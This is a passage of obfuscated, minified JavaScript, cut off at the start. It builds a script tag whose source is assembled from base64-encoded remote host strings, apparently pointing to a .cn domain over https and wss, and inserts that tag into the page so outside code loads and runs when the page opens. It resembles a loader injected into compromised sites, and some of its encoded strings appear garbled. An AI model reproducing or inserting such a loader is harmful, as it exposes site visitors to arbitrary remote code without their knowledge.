s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};